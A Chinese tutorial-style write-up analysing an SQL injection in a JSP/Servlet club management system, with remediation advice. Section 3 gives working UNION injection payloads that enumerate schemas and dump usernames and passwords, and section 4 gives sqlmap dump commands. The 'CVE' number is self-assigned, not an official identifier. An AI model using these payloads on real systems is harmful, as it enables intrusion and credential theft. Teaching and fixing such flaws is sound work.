首页/资讯中心/详情

从CVE-2026-1118漏洞剖析SQL注入原理、手工利用与安全修复实战

从CVE-2026-1118漏洞剖析SQL注入原理、手工利用与安全修复实战
📅 发布时间：2026/7/2 20:56:59

1. 项目概述：从一次内部安全审计说起

最近在帮一个朋友做他们社团内部管理系统的安全评估，系统是基于一个叫“itsourcecode”的开源项目二次开发的。这名字一听就挺有年代感，估计是某个教学或早期开源项目。朋友说系统偶尔会有些奇怪的数据错乱，比如社团成员名单里突然多出几个不存在的“幽灵成员”，或者活动报名记录被清空。直觉告诉我，这背后很可能藏着一些“不干净”的输入。果不其然，在常规的渗透测试中，我很快就定位到了一个典型的、危害性却极大的SQL注入漏洞。为了方便后续的漏洞管理和追踪，我按照行业惯例，给它分配了一个临时的CVE编号：CVE-2026-1118。这个编号本身没有特殊含义，只是我内部记录用的一个标识符。今天，我就把这个漏洞的发现、分析、利用和修复过程，掰开揉碎了跟大家聊聊。无论你是刚入门安全的新手，还是负责开发维护的工程师，理解这个案例都能让你对SQL注入这种“古老”但远未绝迹的漏洞，有更深刻、更实战化的认识。

2. 漏洞环境与核心代码定位

2.1 目标系统架构初探

itsourcecode社团管理系统是一个典型的B/S架构应用，前端使用JSP渲染页面，后端是Java Servlet，数据库是MySQL。整个系统功能围绕社团管理展开，包括成员管理、活动发布、报名、学分统计等模块。漏洞出现在一个非常核心且高频使用的功能点上——用户登录后的“我的活动”查询页面。这个页面会根据当前登录用户的ID，去数据库查询他报名或创建的所有活动。

系统的代码结构比较传统，数据库操作没有使用主流的MyBatis或Hibernate框架，而是采用了最原始的JDBCStatement进行SQL拼接。这本身就是一个巨大的危险信号。漏洞的核心文件是ActivityServlet.java中的一个doGet方法，它负责处理查询请求。

2.2 漏洞代码片段还原与分析

让我们直接看最关键的代码。以下是经过简化和脱敏后的漏洞代码片段：

// ActivityServlet.java 中的部分代码 String userId = request.getParameter("userid"); String sql = "SELECT * FROM t_activities WHERE creator_id = " + userId + " OR id IN (SELECT activity_id FROM t_signup WHERE user_id = " + userId + ")"; Statement stmt = connection.createStatement(); ResultSet rs = stmt.executeQuery(sql);

为什么这几行代码是灾难性的？

  1. 直接拼接用户输入：程序直接从HTTP请求参数userid中获取值，未经任何过滤、转义或类型检查，就直接拼接到SQL语句字符串中。
  2. 使用Statement执行：Statement接口会将完整的SQL字符串发送给数据库编译和执行。如果字符串中包含恶意代码，这些代码会被当作SQL指令的一部分执行。
  3. 参数出现在多个位置：userId被拼接到SQL语句的两个地方（WHERE creator_id =和WHERE user_id =），这给了攻击者更大的操作空间。

假设一个正常用户登录后，他的userid是123，那么生成的SQL语句是：

SELECT * FROM t_activities WHERE creator_id = 123 OR id IN (SELECT activity_id FROM t_signup WHERE user_id = 123)

这看起来完全正确。但问题在于，攻击者可以控制userid这个参数的值。

3. SQL注入漏洞原理与手工利用实战

3.1 漏洞利用链构造

既然userid被直接拼接，攻击者就可以不再传递一个简单的数字，而是一段精心构造的SQL片段。我们的目标是“逃逸”出原本的查询逻辑，执行我们自己的SQL命令。

第一步：探测注入点与数据库类型

我们首先尝试最基本的注入探测，传递userid=123'（在123后加一个单引号）。此时生成的SQL变为：

SELECT * FROM t_activities WHERE creator_id = 123' OR id IN (SELECT activity_id FROM t_signup WHERE user_id = 123')

单引号破坏了SQL语句的语法，会导致数据库报错。如果页面上回显了类似“You have an error in your SQL syntax...”的数据库错误信息，这就确认了存在SQL注入漏洞，并且是错误回显型注入，这非常有利于我们后续的利用。同时，从错误信息格式可以判断出后端数据库是MySQL。

第二步：利用联合查询（UNION）窃取数据

在确认注入点后，我们可以利用UNION SELECT语句来查询数据库中的其他数据。这需要先确定原查询语句返回的列数。我们使用ORDER BY子句来探测：

  1. 探测列数：传递userid=123 ORDER BY 5--

    • --在SQL中是注释符，会将后面的语句注释掉，从而修复语法错误。这里--后面有个空格，在URL中需要编码为--+或%20。
    • 尝试ORDER BY 1,ORDER BY 2... 直到页面返回错误。假设当ORDER BY 5时错误，ORDER BY 4时正常，说明原查询返回4列。

  2. 实施UNION注入：传递userid=-1 UNION SELECT 1,2,3,4--

    • 将userid设置为一个不存在的值（如-1），这样原查询前半部分结果为空，页面显示的内容就完全来自我们UNION查询的结果。
    • SELECT 1,2,3,4是为了匹配列数。我们需要观察页面中哪个位置显示了数字“2”或“3”，这些位置就是我们可以用来回显数据的地方。假设数字“2”和“3”显示在了网页的“活动标题”和“创建者”位置。

  3. 查询敏感信息：现在我们可以把数字替换成我们想查询的数据库函数和语句。

    • 查询当前数据库和用户：userid=-1 UNION SELECT 1, database(), user(), 4--
    • 查询所有数据库名：userid=-1 UNION SELECT 1,group_concat(schema_name),3,4 FROM information_schema.schemata--
    • 查询指定数据库（假设名为club_db）的所有表名：userid=-1 UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema='club_db'--
    • 查询关键表（如t_users）的所有列名：userid=-1 UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_schema='club_db' AND table_name='t_users'--
    • 最终，拖取用户表中的核心数据：userid=-1 UNION SELECT 1,concat(username, ':', password), email, 4 FROM club_db.t_users--

通过这一系列操作，攻击者可以在不登录的情况下，直接获取到系统所有用户的用户名、密码哈希值（如果密码未加密则直接是明文）、邮箱等极度敏感的信息。

注意：在实际攻击中，information_schema数据库是MySQL的元数据库，存储了所有数据库、表、列的信息，是SQL注入攻击的“地图”，在测试自家系统时切勿在生产环境随意尝试此类查询。

3.2 漏洞的严重性评估（CVE-2026-1118）

这个被临时标记为CVE-2026-1118的漏洞，其危害等级可以评定为高危（High）甚至严重（Critical），原因如下：

  1. 攻击成本极低：无需任何特殊工具，一个懂基本SQL语法的攻击者，在浏览器地址栏或抓包工具中修改参数即可完成攻击。
  2. 影响范围广：userid参数在查询个人活动的场景下必然使用，且通常与登录态绑定，但这里直接从参数获取，绕过了身份校验。
  3. 危害后果严重：可导致全量用户数据泄露（账号、密码、个人信息）、活动数据被篡改或删除（通过执行UPDATE或DELETE语句），甚至通过SELECT INTO OUTFILE在服务器上写入Webshell，获取服务器控制权。
  4. 漏洞位置关键：位于核心查询功能，且代码模式在系统中可能被复制（例如其他查询功能也可能采用同样写法）。

4. 自动化工具辅助分析与利用

4.1 使用Sqlmap进行快速验证

对于安全研究人员来说，手工注入虽然能加深理解，但效率较低。像Sqlmap这样的自动化工具可以快速验证漏洞并提取数据。以下是针对该漏洞点的基本Sqlmap命令：

# 基础探测，判断是否存在注入 sqlmap -u "http://target-site.com/ActivityServlet?userid=123" --batch # 获取当前数据库名称 sqlmap -u "http://target-site.com/ActivityServlet?userid=123" --batch --current-db # 列出所有数据库 sqlmap -u "http://target-site.com/ActivityServlet?userid=123" --batch --dbs # 列出指定数据库(club_db)的所有表 sqlmap -u "http://target-site.com/ActivityServlet?userid=123" --batch -D club_db --tables # 导出指定表(t_users)的所有数据 sqlmap -u "http://target-site.com/ActivityServlet?userid=123" --batch -D club_db -T t_users --dump

实操心得：在内部测试中使用Sqlmap时，务必加上--batch参数让它自动选择默认选项，以及--risk=1 --level=1从最低风险等级开始，避免对测试数据库造成意外破坏。同时，要密切关注Sqlmap发送的Payload，这本身就是学习各种注入技巧的绝佳途径。

4.2 工具与手工的结合

完全依赖工具会让你的技术理解停留在表面。我的习惯是：

  1. 手工确认：先用'和and 1=1/and 1=2这类简单Payload手工确认注入点和类型。
  2. 工具辅助：用Sqlmap快速获取数据库结构信息（库名、表名、列名），这比自己猜解快得多。
  3. 手工深入：在知道了数据结构后，再手工构造精准的UNION查询或报错注入Payload，去获取关键数据。这个过程能让你更清晰地理解数据流向和漏洞利用链。

5. 漏洞根因与安全编码实践

5.1 为什么会产生这个漏洞？

itsourcecode系统中的这个漏洞，是经典的安全意识缺失和不良编码习惯共同导致的：

  1. 对用户输入绝对不信任原则的忽视：开发者潜意识里认为userid来自登录后的会话，是“可信的”。但实际上，HTTP请求的任何参数都可以被客户端任意篡改。
  2. 使用了不安全的API：直接使用Statement接口进行字符串拼接，是JDBC编程中最危险的操作。数据库引擎无法区分代码和数据。
  3. 缺乏安全评审与测试：项目可能侧重于功能实现，缺乏代码安全审计环节，也未曾进行渗透测试或漏洞扫描。

5.2 修复方案：从治标到治本

修复SQL注入，绝不能只是简单过滤几个关键词，必须从架构和编码习惯上根治。

方案一：使用预编译语句（PreparedStatement）—— 首选方案

这是修复SQL注入最根本、最有效的方法。预编译语句将SQL语句的结构与数据分离。数据库会先编译带占位符?的SQL模板，再将用户输入的数据作为纯参数传入，从根本上杜绝了数据被解释为代码的可能。

修复后的代码：

String userId = request.getParameter("userid"); // 使用 ? 作为参数占位符 String sql = "SELECT * FROM t_activities WHERE creator_id = ? OR id IN (SELECT activity_id FROM t_signup WHERE user_id = ?)"; PreparedStatement pstmt = connection.prepareStatement(sql); // 设置参数，索引从1开始 pstmt.setString(1, userId); // 或 setInt，如果确保是数字 pstmt.setString(2, userId); ResultSet rs = pstmt.executeQuery();

即使用户传入123 OR 1=1，它也会被整体当作一个字符串参数传递给creator_id字段进行查询，而不会改变SQL语句的逻辑。

方案二：严格的输入验证与过滤

如果因历史原因无法大规模重构使用PreparedStatement，必须进行严格的输入验证。但此法仅为临时缓解措施，治标不治本。

  1. 类型强校验：对于userid这种理论上应为数字的字段，在Java端进行强制类型转换。
    try { int userId = Integer.parseInt(request.getParameter("userid")); // 仅使用userId进行后续操作 } catch (NumberFormatException e) { // 记录日志并返回错误，拒绝请求 response.sendError(400, "Invalid user id"); return; }
  2. 最小化权限原则：连接数据库的账号，不应具有DROP、FILE、GRANT等高级权限，仅赋予SELECT、INSERT、UPDATE等必要权限，限制漏洞被利用后的破坏范围。

方案三：使用安全的ORM框架

对于新项目或重构项目，强烈建议直接使用成熟的ORM框架，如MyBatis（配合#{}语法）或Spring Data JPA。这些框架底层默认使用预编译语句，能自动防止SQL注入。

踩坑提醒：即使使用MyBatis，也要注意！MyBatis的${}语法是直接进行字符串替换的，和Statement一样危险。绝对不要用${}来拼接用户输入的条件。正确的做法是使用#{}。

6. 漏洞挖掘与防御的扩展思考

6.1 如何在代码审计中快速发现此类漏洞？

对于Java Web项目，可以遵循以下模式进行快速代码审计：

  1. 全局搜索危险API：在IDE中全局搜索createStatement()、executeQuery(、executeUpdate(这些关键词，定位所有使用Statement的地方。
  2. 追踪参数来源：检查这些SQL语句中拼接的变量，向上追踪其来源。如果最终源头是HttpServletRequest.getParameter()、getHeader()或用户可控的输入，且没有经过预编译或严格过滤，那么这里就存在高风险。
  3. 检查ORM框架不当使用：搜索MyBatis映射文件（*.xml）中的${，检查其拼接的内容是否用户可控。
  4. 关注查询条件拼接：特别关注动态查询，例如根据多个前端条件拼接WHERE子句的代码，这里是SQL注入的重灾区。

6.2 构建多层次防御体系

修复一个具体的漏洞点很重要，但构建体系化的防御能力更为关键。

  1. 开发层：

    • 强制规范：制定编码安全规范，明确要求所有数据库操作必须使用PreparedStatement或ORM框架的安全方式。
    • 安全培训：对开发人员进行常态化安全编码培训，将SQL注入作为必修案例。
    • 代码审计：将安全审计纳入CI/CD流程，使用SonarQube、Fortify等静态代码分析工具自动扫描潜在漏洞。

  2. 运维层：

    • WAF（Web应用防火墙）：在应用前端部署WAF，可以拦截常见的SQL注入攻击Payload，作为一道有效的缓冲防线。
    • 数据库安全：为应用数据库账户配置最小权限，定期审计数据库日志中的异常查询。
    • 漏洞扫描：定期对线上系统进行黑盒/白盒漏洞扫描。

  3. 测试层：

    • 渗透测试：定期邀请内部或外部安全团队进行专业的渗透测试。
    • 模糊测试：对接口进行参数模糊测试，自动生成大量异常、超长、特殊字符的参数进行攻击模拟。

7. 从CVE-2026-1118看安全开发生命周期

这个漏洞虽然技术原理简单，但它完美地暴露了在软件开发生命周期（SDLC）早期阶段安全措施的缺失。一个健壮的安全开发生命周期（Secure SDLC）应该将安全考虑嵌入每一个环节：

  • 需求与设计阶段：就要考虑“这个功能会接收哪些用户输入？”“这些数据将如何被处理？”，并制定相应的安全需求。
  • 编码阶段：使用安全的API和框架，并进行结对编程或代码审查，重点关注安全风险点。
  • 测试阶段：除了功能测试，必须包含安全测试（SAST/DAST）。
  • 部署与运维阶段：配置安全的环境，并持续监控和响应安全事件。

itsourcecode社团管理系统的这个SQL注入漏洞，与其说是一个技术漏洞，不如说是一个“过程漏洞”。它提醒我们，在追求功能实现和开发效率的同时，对安全的基础敬畏和规范践行，是任何时候都不能打折的底线。修复一行代码很容易，但建立起让每一行代码都安全的机制和文化，才是我们更长远的目标。在后续的代码复查中，我又在公告模块、成员搜索模块发现了类似模式的代码，都用预编译语句一一做了重构，这大概就是一次漏洞分析带来的额外收获吧。